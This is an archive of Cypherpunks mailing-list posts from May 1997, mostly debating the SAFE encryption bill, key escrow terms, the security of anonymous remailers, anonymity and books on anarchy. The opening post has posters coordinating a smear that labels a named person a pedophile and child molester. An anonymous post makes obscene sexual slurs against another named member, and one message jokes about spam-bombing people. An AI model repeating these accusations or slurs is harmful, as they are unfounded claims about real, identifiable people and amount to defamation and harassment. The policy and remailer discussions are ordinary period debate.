From dlv at bwalk.dm.com  Thu May 15 05:35:46 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 15 May 1997 20:35:46 +0800
Subject: Pedophile Russ Allberry continues to flame Steve Boursy
In-Reply-To: 
Message-ID: 


kibo  writes:

> > [DrG - if you want to follow up, please dig up the original article, not
> > my repose - thank you]
> >
> O.K., I will chop all of the header befor I post it, but this Russ Allbery

Thanks!!

> is becoming the biggest problem on usenet, since he supports Tim Skirvin.
> I think it is time for Russ to grow up and deal with the Net like a man.
>
> Time for him to become a child molester.

Well - if you want to say you heard that he's a child molester or that he
sounds like one, no decent ISP will have a problem. :-)

I think it would be fun to get Russ back on this list.

> > By the way, has anyone had a chance to verify whether Stan Kalisch who work
> > for the educational testing services is our net.acquaintance?  Thanks.
> >
>
> Yes, I called them at that number, and and boss called me back.

Great - is he or isn't he the same person as skalisch at crl??

Thanks

> All Russ has to do is say the word, and Tim Skirvin will stop his
> shit.  Russ Allbery is just as responsible for the Skirvin shit as
> Timmy boy himself is.
>
> Time to rip Russ Allbery a new asshole...

Maybe we should get Tim Skirvin on this list. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From m1tca00 at FRB.GOV  Thu May 15 06:52:15 1997
From: m1tca00 at FRB.GOV (Tom Allard)
Date: Thu, 15 May 1997 21:52:15 +0800
Subject: Disinformation in L.A.
In-Reply-To: <19970515002241.20918@bywater.songbird.com>
Message-ID: <199705151324.JAA16673@bksmp2.FRB.GOV>



> Dan White committed suicide, after a while.  He probably died sooner than
> the state could have killed him, with appeals and all.  Anyway, Feinstein
> has had a fair amount of first hand experience with gun violence -- more
> than most people on this list.  Her stand on gun control is probably the
> most principled and honest one she has made.

He committed suicide in Oct 1985, after being released in Jan 1985.

Gun control wouldn't have stopped Dan White.  He was a former cop.

rgds-- TA  (tallard at frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D







From nobody at huge.cajones.com  Thu May 15 07:02:50 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 15 May 1997 22:02:50 +0800
Subject: (rumor) US TV host canned over comments
Message-ID: <199705151350.GAA04288@fat.doobie.com>


Can anyone confirm for me that a US talk show host was canned for airing
her thoughts on the aid package for Iran's earthquake victims?  I heard
"Only bad people and terrorists live there.  If I had my way I'd drop an
atomic bomb on Tehran."  Anyone?






From m1tca00 at FRB.GOV  Thu May 15 07:18:24 1997
From: m1tca00 at FRB.GOV (Tom Allard)
Date: Thu, 15 May 1997 22:18:24 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970514142758.42227@bywater.songbird.com>
Message-ID: <199705151347.JAA18147@bksmp2.FRB.GOV>



Kent wrote:
> >   anarchy n. [Gr. an- without + archos, leader] 1. the absence of government
> >   2. political disorder and violence 3. disorder; confusion
> > 
> > Note the etymology.  Taken to its roots, the word simply means "no leader".
> 
> Note the second definition.

So, in other words, you agree with Tim about your definition of Rawanda as 
an example of anarchy:

Tim wrote:
> Calling this an "anarchy" is comparable to calling the pogrom by the Third
> Reich against Jews, gypsies, cripples, and others an example of anarchy.

The topic at hand was "Do governments kill more than individuals?".
Bringing Rawanda up as a counter-example to government and calling it an
anarchy is kind of dishonest, don't you think?  In the context of THIS
discussion, "anarchy" can only be the first definition, "no government".
Rawanda is not an anarchy in the sense of "no government," it's simply an
anarchy in the sense that the government is in disorder.  One faction of
government is fighting for control of government over another.

We can tally up the deaths in Rawanda to those created by government.

rgds-- TA  (tallard at frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D







From declan at well.com  Thu May 15 07:47:08 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 15 May 1997 22:47:08 +0800
Subject: SAFE vote and cutting crypto-deals, report from House Judiciary
Message-ID: 




---------- Forwarded message ----------
Date: Thu, 15 May 1997 10:16:06 -0400
From: "Shabbir J. Safdar" 
To: Declan McCullagh , fight-censorship at vorlon.mit.edu
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary

At 9:11 PM -0700 5/14/97, Declan McCullagh wrote:

>* The heinous section of the law that would create
>  broad new Federal felonies for some uses of crypto was
>  replaced. The amendment, offered by Rep. Delahunt
>  and adopted unanimously includes eight hurdles:
>
>	"Any person who, in the commission of a felony under
>	a criminal statute of the United States, knowingly
>	and willfully encrypts incriminating information
>	relating to that felony with the intent to conceal
>	such information for the purposes of avoiding
>	detection by law enforcement agencies or
>	prosecution..."
>
>  It's a solid improvement, but this language still has
>  no business becoming law. Problem is, nobody seems to
>  have the balls to stand up and yank it. Delahunt,
>  the amendment's sponsor, said the bill without the
>  amendment "could have a chilling effect on the
>  development and use of encryption." He added: "I
>  recognize that some supporters of this amendment would
>  like that this section be removed altogether." But it
>  doesn't seem likely.

I'm more than a little surprised at your take on this amendment.  This
exact language wasn't created by Representatives who don't know better, it
was created, shopped, and marketed to the hill by the folks at the ACLU
(Don Haines) and EPIC.  In response to concerns from the net, they
coordinated the letter from many groups to Goodlatte about the criminal
provision which just about everyone signed onto.

Then, EPIC and the ACLU worked out the language above, and got it passed
verbatim in response to the concerns of the net community.  They did a
great job here and really deserve a lot of kudos.  Why are you slighting
their work?

-S









From declan at well.com  Thu May 15 07:54:36 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 15 May 1997 22:54:36 +0800
Subject: SAFE vote and cutting crypto-deals, report from House Judiciary
Message-ID: 




---------- Forwarded message ----------
Date: Thu, 15 May 1997 07:26:23 -0700 (PDT)
From: Declan McCullagh 
To: "Shabbir J. Safdar" 
Cc: fight-censorship at vorlon.mit.edu
Subject: Re: SAFE vote and cutting crypto-deals, report from House Judiciary

Shabbir,

You're mistaken. I'm not "slighting their work" -- I called it a "solid
improvement."

Yeah, I know who shopped this around. I spoke with David and Don about
this last week, and didn't write about it then for fear of jeopardizing
their negotiations.

And come on, you're "more than a little surprised" by my take? Give me a
break. My position now is consistent with my position before -- and comes
as no surprise. Reread my previous posts. 

But you're missing the point: this whole "crypto in a crime" section
should not be in this bill in the first place. The new portion is much
better than the old, but it still has no business being law.

-Declan


On Thu, 15 May 1997, Shabbir J. Safdar wrote:

> At 9:11 PM -0700 5/14/97, Declan McCullagh wrote:
> 
> >* The heinous section of the law that would create
> >  broad new Federal felonies for some uses of crypto was
> >  replaced. The amendment, offered by Rep. Delahunt
> >  and adopted unanimously includes eight hurdles:
> >
> >	"Any person who, in the commission of a felony under
> >	a criminal statute of the United States, knowingly
> >	and willfully encrypts incriminating information
> >	relating to that felony with the intent to conceal
> >	such information for the purposes of avoiding
> >	detection by law enforcement agencies or
> >	prosecution..."
> >
> >  It's a solid improvement, but this language still has
> >  no business becoming law. Problem is, nobody seems to
> >  have the balls to stand up and yank it. Delahunt,
> >  the amendment's sponsor, said the bill without the
> >  amendment "could have a chilling effect on the
> >  development and use of encryption." He added: "I
> >  recognize that some supporters of this amendment would
> >  like that this section be removed altogether." But it
> >  doesn't seem likely.
> 
> I'm more than a little surprised at your take on this amendment.  This
> exact language wasn't created by Representatives who don't know better, it
> was created, shopped, and marketed to the hill by the folks at the ACLU
> (Don Haines) and EPIC.  In response to concerns from the net, they
> coordinated the letter from many groups to Goodlatte about the criminal
> provision which just about everyone signed onto.
> 
> Then, EPIC and the ACLU worked out the language above, and got it passed
> verbatim in response to the concerns of the net community.  They did a
> great job here and really deserve a lot of kudos.  Why are you slighting
> their work?
> 
> -S








From osborne at gateway.grumman.com  Thu May 15 08:01:49 1997
From: osborne at gateway.grumman.com (Rick Osborne)
Date: Thu, 15 May 1997 23:01:49 +0800
Subject: Spam IS Free Speech
In-Reply-To: <199705142339.QAA23731@adnetsol.adnetsol.com>
Message-ID: <3.0.1.32.19970515104631.009d0660@gateway.grumman.com>


________________________ R i c k   O s b o r n e ________________________
>you see what I am saying about a web page being a yellow 
>pages ad, right?

Oh yes, I agree.  I just don't agree that posting to usenet is asking for
spam.  I post to usenet to get valid responses to my questions (or to
respond myself), not find out what the latest get rich kwik scheme is.

>Please, a few megs between cyber-clients?  No harm no foul.  You get 
>more megs of crap just from this list!  I'd bet real money on that!

Very true.  *However*, imagine this scenario: I post to Usenet regularly
using a work email address.  I am allowed by the company to do this as long
as the post is work-related.  Some spammer snatches my email address and
starts to send me email about some "Hot-n-wet" 900 number.  The filters on
the corporate mail catch this and management thinks that I'm soliciting
these ads.  I get formally reprimanded for it, which goes on my permanent
record.  The spammers have just made a major dent in my career and if it
continues to happen, I could lose my job.  It doesn't matter to Management
that I didn't solicit these emails, they just know that its getting in my
inbox.  What am I supposed to do then?

>One Meg Per One Meg.  Equal and fair.

How big is an arp paket?  This could get interesting the next time someone
sends me an attachment.

Speaking of which, on a related note, am I allowed to spam-bomb MS Exchange
idiots who send RTF attachments with their email.  Now *that* could get
fun.  :)
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"You're a security chief. Shouldn't you be out securing something?"






From graham.hughes at resnet.ucsb.edu  Thu May 15 08:18:20 1997
From: graham.hughes at resnet.ucsb.edu (Graham C. Hughes)
Date: Thu, 15 May 1997 23:18:20 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <199705151347.JAA18147@bksmp2.FRB.GOV>
Message-ID: <199705151458.HAA11100@A-abe.resnet.ucsb.edu>


-----BEGIN PGP SIGNED MESSAGE-----

Tom Allard writes:
> We can tally up the deaths in Rawanda to those created by
> government.

Oh, this is just charming.  People are still dying, and now you're
going to sit on the sidelines making tally marks for your pissing
contest.

You can't count up human lives and say ``this entity is more evil than
this entity.''  It doesn't work that way.  People are people,
regardless, and usually don't deserve that kind of premature
termination.

As for the running dictionary flame, by all means, piss on.  Perhaps
later, when you mature a little, discussion can get back to more
meaningful topics.
- -- 
Graham Hughes  http://A-abe.resnet.ucsb.edu/~graham/  MIME & PGP mail OK.
(define pgp-fingerprint "E9 B7 5F A0 F8 88 9E 1E  7C 62 D9 88 E1 03 29 5B")
(require 'stddisclaim)


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Version: 2.6.3
Charset: noconv
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iQCVAwUBM3skbiqNPSINiVE5AQHzhwP6Ayxaxcea6e+Ss7C2cxRJWSXeHnNd5Eb7
UscbiGypghWUt5293FikqGWPHBorY3IKqMS+OYtvuJ/tjBG1n236SP35zLlWFaxb
V3QJ1AtU/3DSwKq6Alr4lLnMn/1QU+CkhgzpSDyIIwGYyPvGTpdOg/zg0TBrWv2e
uuhyJv7CrlQ=
=FjfL
-----END PGP SIGNATURE-----






From declan at well.com  Thu May 15 08:30:38 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 15 May 1997 23:30:38 +0800
Subject: SAFE vote and cutting crypto-deals, report from House Judiciary
Message-ID: 




---------- Forwarded message ----------
Date: Thu, 15 May 1997 10:59:23 -0400
From: Barry Steinhardt 
To: "Shabbir J. Safdar" ,
    Declan McCullagh 
Cc: fight-censorship at vorlon.mit.edu
Subject: Re: SAFE vote and cutting crypto-deals, report from House  Judiciary

Declan and Shabbir,

I thought it might be helpful to your dialouge to give you the ACLU's
current views about SAFE. The language significantly limiting the
criminalization provision was indeed drafted by EPIC and the ACLU. Don
Haines and Dave Sobel did a great 

The language was an improvement , but it doesn't belong in the bill and we
are still lobbying to have the criminalization provision removed. 

All of us in the cyber liberties community need to watch this legislation
very carefully. It could easily get much worse as a "compromise" is reached
with the Administration. In the end,the bill could be laden with amendments
on issues like key recovery that defeat our purpose of making strong and
secure encryption generally available.

At some point, we may need to say that no bill is better than a bad bill.


At 10:32 AM 5/15/97 -0400, Shabbir J. Safdar wrote:
>At 7:26 AM -0700 5/15/97, Declan McCullagh wrote:
>>Shabbir,
>>
>>You're mistaken. I'm not "slighting their work" -- I called it a "solid
>>improvement."
>>
>>Yeah, I know who shopped this around. I spoke with David and Don about
>>this last week, and didn't write about it then for fear of jeopardizing
>>their negotiations.
>
>Then why didn't you give them credit for it in the story?  They should be
>lauded for writing this amendment which is a solid improvement. EPIC and
>ACLU did great work, and deserve more credit in your story than you gave
>them.
>
>-S
>
>
>
>

----------------------------------------------------------------------------
------

Barry Steinhardt			Barrys at aclu.org		
Associate Director			212 944-9800 ext 614 (v)
American Civil Liberties Union		212 354-5290 (fax)
132 West 43 Street			
NYC 10036

****   PGP Key available at: http://www.aclu.org/about/pgpkeys.html   ****

	Visit the ACLU Web Site http://www.aclu.org
	ACLU can be found on AOL at Keyword ACLU
	ACLU Supports the Global Internet Liberty Campaign (GILC)
	http://www.gilc.org








From tzeruch at ceddec.com  Thu May 15 08:36:52 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Thu, 15 May 1997 23:36:52 +0800
Subject: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <97May15.112158edt.32257-1@brickwall.ceddec.com>


On Wed, 14 May 1997, Roger J. Jones wrote:

> Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:

> 1) Log all of their mail messages? 

Good.  They will mainly waste space on a bunch of encrypted stuff with the
possible exception of the very last entry in the chain (which may only
give the recipient, and a message, which might reveal the author when
decrypted by the recipient's key).  Everything else will point to another
remailer and be readable only by it.  They can log who is using it if they
are first in the chain (so run your own remailer), but all they will know
is who is using it, assuming it is not a nym.

> 2) Are in many cases reputed to be run by foreign intelligence services?

So who says they don't provide a public service :).  Although I would
resent my tax money supporting something that can be done in the private
sector if I lived in such a country.  There should be a move to privatize
them.

> Do they really trust the owner of the remailer? (Unless of course, it is
> their remailer?)  I seem to be missing something. 

I shouldn't have to unless I only use one remailer exclusively.  If I use
random chains, or mixmaster type remailers, I don't HAVE TO TRUST the
remailer.  The worst they could do is not pass on mail (which would show
up in the stats), or selectively not send mail, or log content when they
were last on the chain and if the message was actually plaintext at that
point.

There are a few subtleties, but if you do things right, things are very
secure.  It depends if you are trying for 100% security or merely want to
avoid spam.







From tzeruch at ceddec.com  Thu May 15 08:44:32 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Thu, 15 May 1997 23:44:32 +0800
Subject: Anonymity and cowardice
In-Reply-To: <15302945318065@nac.net>
Message-ID: <97May15.113040edt.32258-1@brickwall.ceddec.com>


On Wed, 14 May 1997, The Spectre wrote:

> > So you're calling John Jay, James Madison, and Alexander Hamilton
> > cowards
> > (anonymous authors of the Federalist Papers)?  Many others have
> > (also used
> > anonymity to further the cause of liberty.  I doubt your real
> > name is "The Spectre" yet that is the name under which you are posting.
> >  Are you calling yourself a coward?
> The difference in all these cases (save mine) is that the people you listed
> would have been persecuted, if not prosecuted, for their actions.  Now
> people are hiding out of fear and paranoia of something that in most cases
> doesn't exist.  The people you mentioned never had to deal with this level
> of abuse, either.

The authors of the Federalist Papers would neither be prosecuted, nor
persecuted.  Read the history about what happened about the debate over
ratification of the constitution.  Since you are wrong about this bit of
history (i.e. no serious personal consequences to the authors), I would
like to know if you have a better reason.

It is not cowardice for someone to hide their identity to not prejudice a
reader.  People might read "publius" and evaluate their arguments on their
merits, but if they knew the authors were specifically A Hamilton and J
Madison they might be dismissed as already knowing where they stood.

Why do authors like Richard Bachman / Stephen King use pen names?

Why do musicians like John Cougar --- Mellencamp alter their names?

Are they all cowards too?







From cyber at ibpinc.com  Thu May 15 08:47:55 1997
From: cyber at ibpinc.com (Roger J. Jones)
Date: Thu, 15 May 1997 23:47:55 +0800
Subject: FW: Anonymous Remailers
Message-ID: <01BC611B.8CD67F10@pc1901.ibpinc.com>




At 5:17 AM -0800 5/14/97, Roger J. Jones wrote:
>Why is it that some who are very concerned about their personal privacy
>utilize anonymous remailers that:
>
>1) Log all of their mail messages?

Tim May Responded

With chained, multiply-encrypted messages, logs are ineffective unless all of the links in the chain collude to trace messages. While this is certainly possible, it seems unlikely.
Roger J Jones Responded
Several of you have suggested as Tim has that the chain of remailers is secure.  I suggest that the statement is only true to the extent that one wants to trace back a particular message.  On the other hand, if one wants to find the source of postings to anonymous remailers and has skilled access to the Internet the task is quite simple and does not even require attacking the remailers.  Of course, one could break the chain by having the remailers call each other outside of the Internet, but then of course the phone records would disclose the connection.  Then again, one could hard wire a private connection between two remailers outside of both the Internet and the phone system but even this connection would be disclosed through reasonable traffic analysis.  Of course, the simple fact that even encrypted streams need to include the ultimate destination of the message makes content analysis easier and weakens the encryption.  Then again, all of this is a lot of work.  Social Engineering and pure bribery would more likely be the most efficient and effective solution.

Roger J Jones wrote:

>2) Are in many cases reputed to be run by foreign intelligence services?

Tim May Responded

This allegation was made by some clueless Washington think tank authors.  They provided no evidence, only innuendo, and they were unwilling or unable to provide any further comments when queried by several Cypherpunks.
And given that many or even most of the remailer operators are members of the various related Cypherpunks or Remailers Operators lists, and are known to various of us, the notion that most (or even many) remailers are run by intelligence agencies is absurd.

At 9:48 AM -0800 5/14/97, Roger J. Jones wrote:
I suggest that just because you chose to characterize the sources as "clueless Washington think tank authors" does not (as they say in Star Trek - The Next Generation) "make it so".  The "allegation" that foreign governments actively participate in actions to violate personal privacy ("borrowing" laptops from traveling businesspeople, taping phones, etc.) are all documented in various places.  Of course, they could all the result of a single psyop with excellent results.  But I doubt it.

Tim May Responded
Your first point, using some kind of Star Trek lingo, is beyond comment. I provided a lot more context than your original point provided, and yet you seem to want even more documentation. Go back and read the archives for a discussion of this paper (hint: search on "remailers" ANDed with "SAIC." Pay particular attention to the critique of this paper by such folks as Raph Levien, and others.

Anonymous Responded
Yes, you are missing a lot.  The bit about foreign inteligence agencies is almost certainly a canard created by one Strassman at a conference in Boston 2 years ago, then retracted.  Anyway, if you use chaining, it's irrelevant.
See 

http://www.law.miami.edu/~froomkin/articles/ocean.htm
 and

http://www.law.miami.edu/~froomkin/articles/arbitr.htm

for the gory details.

Roger J Jones Responded

Given that several of you have suggested that the "foreign agent" theory is a hoax I suggest that this does not give me much faith either.  What we have is the classic case that it difficult if not impossible to prove the non-existence of anything.  For example, presume that one could identify every real owner of every remailer in the Internet universe.  Have we proved anything?  Not really.  Because in the time it has taken to prove the case, a new remailer could have been created.  Or the remailer that one thinks is secure could be down with a different remailer operating as an IT spoof.  Or, after checking with the owner of the "safe" remailer the owner becomes subject to the normal desires of life (fear, greed, power, etc.) and "turns."  The existence of both type one and type two errors prevents even an exhaustive search from being fully satisfied.

Roger J Jones wrote

>Do they really trust the owner of the remailer? (Unless of course, it is
>their remailer?)  I seem to be missing something.

Roger J Jones wrote further......

So, chaining does not seem to be a secure solution.  It just makes the process more difficult, but not impossible.

The non-existance of "agents" who would operate a remailer for purposes other than protecting security can not be proven.

I still seem to be missing something.........  






From stewarts at ix.netcom.com  Thu May 15 08:55:33 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 15 May 1997 23:55:33 +0800
Subject: Difference in terms
In-Reply-To: 
Message-ID: <3.0.1.32.19970514234337.005e9620@popd.ix.netcom.com>


>Lutz Donnerhacke writes:
>>   key recovery is if I can get my key
>>   key escrow is if you can get my key

"Key Escrow" was "We want your keys".
"Software Key Escrow" was "OK, Clipper was a loser, but we want your keys"
"Public Key Infrastructure" was "Here, have some keys"
"Trusted Third Party" was "Hey, trust us, we want your keys"
"Key Recovery" is "OK, that didn't work, but we still want your keys"


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From tcmay at got.net  Thu May 15 09:23:45 1997
From: tcmay at got.net (Tim May)
Date: Fri, 16 May 1997 00:23:45 +0800
Subject: FW: Anonymous Remailers
In-Reply-To: <01BC611B.8CD67F10@pc1901.ibpinc.com>
Message-ID: 


At 7:34 AM -0800 5/15/97, Roger J. Jones wrote:

>Roger J Jones Responded
>Several of you have suggested as Tim has that the chain of remailers is
>secure.  I suggest that the statement is only true to the extent that one
>wants to trace back a particular message.  On the other hand, if one wants
>to find the source of postings to anonymous remailers and has skilled
>access to the Internet the task is quite simple and does not even require
>attacking the remailers.  Of
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Care to tell us how this tracing is done without cooperation of the remailers?

Perhaps you don't understand how remailers work, how many messages they
accumulate to provide the mixing entropy, and how long they typically delay
messages. (Latency, or the delay, is not the central issue...mixing entropy
is. But, in practice, latency is associated with this.)


>
>I still seem to be missing something.........

I agree. But we can't help you, as you seem to be unknowledgeable about the
basic nature of digital mixes. If you won't take the time to figure out the
basics of how they work, how can we keep writing articles trying to correct
your misapprehensions?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Thu May 15 09:33:43 1997
From: tcmay at got.net (Tim May)
Date: Fri, 16 May 1997 00:33:43 +0800
Subject: Difference in terms
In-Reply-To: <199705091300.OAA02217@server.test.net>
Message-ID: 


At 10:43 PM -0800 5/14/97, Bill Stewart wrote:
>>Lutz Donnerhacke writes:
>>>   key recovery is if I can get my key
>>>   key escrow is if you can get my key
>
>"Key Escrow" was "We want your keys".
>"Software Key Escrow" was "OK, Clipper was a loser, but we want your keys"
>"Public Key Infrastructure" was "Here, have some keys"
>"Trusted Third Party" was "Hey, trust us, we want your keys"
>"Key Recovery" is "OK, that didn't work, but we still want your keys"
>

SAFE is "All Americans deserve strong security and unlimited strength
crypto, but we still want your keys."

"Pro-CODE is about the right to have and export military-grade crypto, but
we still want your keys."

Or as Congressman J. Getalong put it, "SAFE is a step toward a future of
security and prosperity. The legitimate needs of law enforcement are being
met by this bill. We are good listeners of the NSA, and the NSA is a good
listener to all of us. And I do mean all of us. All Americans will prosper
from this new working relationship with Big Brother. War is Peace and
SAFEty is liberty,"

--Emmanuel Goldstein


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From ericm at lne.com  Thu May 15 09:50:54 1997
From: ericm at lne.com (Eric Murray)
Date: Fri, 16 May 1997 00:50:54 +0800
Subject: `careerpunks'
In-Reply-To: <199705131158.HAA20185@homeport.org>
Message-ID: <199705151628.JAA05763@slack.lne.com>


Adam Shostack writes:
> 
> 
> 
> Adam Back wrote:
> > Seems to me many of the `cypherpunks' have become `careerpunks' and
> > are now more interested in trading crypto tips, trade gossip, than in
> > cypherpunks projects.
> > 
> > They went through the phase of buying kewl domain names (take a look
> > down the subscriber lists), tinkering with remailers, and have now
> > graduated to making money from crypto consulting, and lost interest in
> > the issues where they don't add to the bottom line.
> 
> 	I disagree with your analysis.  I'm working for a number of
> large companies as a consultant.  At each of them, I think I've done
> things that substantially imrpove customer privacy.

Same here.  I've been looking out for privacy problems in the systems
that I help my clients design.  Whenever I find one I have been able to
convince the client to redesign their product to fix it.
I'd never have this much influence as a mere cypherpunk.  But when I
can tell the client what the damage will likely be if their systems
are not sufficiently private, they become very interested in making them so.

Also, working in the field doesn't preclude doing free stuff that
you find an interest in.


> 	Selling your services does not involve selling out.

Yes.  I will not work for a client on a project that I consider
to be 'bad' (i.e. GAK).   I do wonder sometimes what I will do if/when
all crypto systems are GAKware.



-- 
   Eric Murray  ericm at lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 






From lucifer at dhp.com  Thu May 15 09:56:10 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Fri, 16 May 1997 00:56:10 +0800
Subject: OTP: Yeah, you know me: Vulis
Message-ID: <199705151632.MAA19845@dhp.com>


Demento Vulis 's reheated, refurbished, and regurgitated auto-spam is
completely inappropriate for the mailing lists into which it is auto-spammed
by his inbred evil spam-bots.  Demento couldn't write a single lick of
cryptographic code if his NSA masters and his KGB brothers paid him for
it. But truth be known, he sells his spamming software to Cyberpromo
and their ilk, and gets paid in anal sex performed on him by large testicled
bulls - often without applying vaseline in his cavernous anus.

He has killed many bulls in this manner.

  
           \|/
        /~~~~~~~\
       |  O   O  |
   -ooo-----U-----ooo- Demento Vulis
 






From frantz at netcom.com  Thu May 15 09:59:20 1997
From: frantz at netcom.com (Bill Frantz)
Date: Fri, 16 May 1997 00:59:20 +0800
Subject: SAFE vote and cutting crypto-deals, report from HouseJudiciary
In-Reply-To: 
Message-ID: 


At 9:15 PM -0700 5/14/97, Declan McCullagh wrote:
>...
>* The word on the streets is compromise. Hyde, chair
>  of House Judiciary, brokered a meeting in his offices
>  yesterday bringing together spooks, law enforcement,
>  Goodlatte, and staffers. He says they're "very close
>  to resolving any difficulties."
>
>  Rep. McCollum chimed in: "It's just a matter of time
>  before we work something out." Rep. Buyer said, and I
>  am not making this up: "We should be good listeners to
>  the NSA." Rep. Berman: "I hope there would be some way
>  to bridge the differences between the administration
>  and Goodlatte."

During a hall discussion at CFP, I heard that people at NSA are changing
their opinions about the use of strong crypto in the general community.
The reason is the threat of InfoWar and the need for strong crypto in
general use to secure the US information infrastructure.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz at netcom.com | not have an installed base.| Los Gatos, CA 95032, USA







From frantz at netcom.com  Thu May 15 10:03:24 1997
From: frantz at netcom.com (Bill Frantz)
Date: Fri, 16 May 1997 01:03:24 +0800
Subject: Anarchy Books
In-Reply-To: <199705141907.PAA19087@bksmp2.FRB.GOV>
Message-ID: 


At 2:22 PM -0700 5/14/97, Tim May wrote:
>The meaning of anarchy, and how it differs from chaos and random killings,
>has been discussed many times. David Friedman's "The Machinery of Freedom"
>is a good book to start with. Bruce Benson's "The Enterprise of Law" also
>discusses how lawlessness is not at all a necessary part of "no rulers"

For anarchy in a fictional setting I recommend two books by Ursula K.
LeGuin.  "The Dispossessed" and "Always Coming Home".

In a lecture several years ago in San Francisco, she said of the two books
that in "The Dispossessed" I set out to describe an anarchy.  In "Always
Coming Home" I just let it happen.

BTW - When I read "Always Coming Home", I was over half-way thru the book
before I had any idea of what it was about.  Be prepared for a long period
of confusion as to why you are reading it.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz at netcom.com | not have an installed base.| Los Gatos, CA 95032, USA







From jim.burnes at ssds.com  Thu May 15 10:33:49 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Fri, 16 May 1997 01:33:49 +0800
Subject: Anarchy Books
In-Reply-To: 
Message-ID: 




On Thu, 15 May 1997, Bill Frantz wrote:

> At 2:22 PM -0700 5/14/97, Tim May wrote:
> >The meaning of anarchy, and how it differs from chaos and random killings,
> >has been discussed many times. David Friedman's "The Machinery of Freedom"
> >is a good book to start with. Bruce Benson's "The Enterprise of Law" also
> >discusses how lawlessness is not at all a necessary part of "no rulers"
> 
> For anarchy in a fictional setting I recommend two books by Ursula K.
> LeGuin.  "The Dispossessed" and "Always Coming Home".
> 
> In a lecture several years ago in San Francisco, she said of the two books
> that in "The Dispossessed" I set out to describe an anarchy.  In "Always
> Coming Home" I just let it happen.
> 
etc...

I would also recommend the classic Heinlein work,
"The Moon is a Harsh Mistress".  As an example of self-organizing
anarchy/panarchy and general libertarian views it has no equal in
fiction.  At this point Heinlein was still at the top of his game.

Very enjoyable and thought provoking read.

Of course, most of you have probably already read it.

I suppose somebody will start talking about Rand here, but I found
her writing a little too strident.

jburnes







From graham.hughes at resnet.ucsb.edu  Thu May 15 10:45:42 1997
From: graham.hughes at resnet.ucsb.edu (Graham C. Hughes)
Date: Fri, 16 May 1997 01:45:42 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <199705151652.JAA13955@fat.doobie.com>
Message-ID: <199705151732.KAA12426@A-abe.resnet.ucsb.edu>


-----BEGIN PGP SIGNED MESSAGE-----

Content-Type: text/plain

> Oh, this is just charming.  People are still dying, and now you're
> going to sit on the sidelines writing email messages to people about
> what they're discussing on some mailing list. 

Better than being the one to bring it up in the first place.  Really, is 
a crypto list an appropriate place for that sort of tripe, any more than 
it is for this?

> > You can't count up human lives and say ``this entity is more evil than
> > this entity.''  It doesn't work that way.  People are people,
> > regardless, and usually don't deserve that kind of premature
> > termination.
> 
> Your use of the word "usually" betrays your hypocrisy.  If some people 
> "don't deserve that kind of premature termination," it follows that
> some do: presumably those that are more evil than the rest.

I do believe that there are varying degrees of evil, yes.  I do not 
believe they can be differentiated by counting bodies.

I remarked `usually', because of a practical bend; the Rhwandans 
certainly don't deserve their lot, but there are others who well deserve 
premature termination in one form or another; Dahmer comes to mind.  From 
time to time, I thought that things would be better off if I were to 
simply die.

Put another way, the situation in Rhwanda distorts the usual 
life-and-death cycle, by killing indiscriminately people who should live 
much longer.  Dahmer, a man who lived in death, could hardly come to a 
more appropriate end.

As I look back on that paragraph, I do acknoledge it was poorly worded, 
and I apologize for the difficulties.  No one, not even Dahmer deserves 
the hardships Rhwandans (to pick a convenient example) are going through.

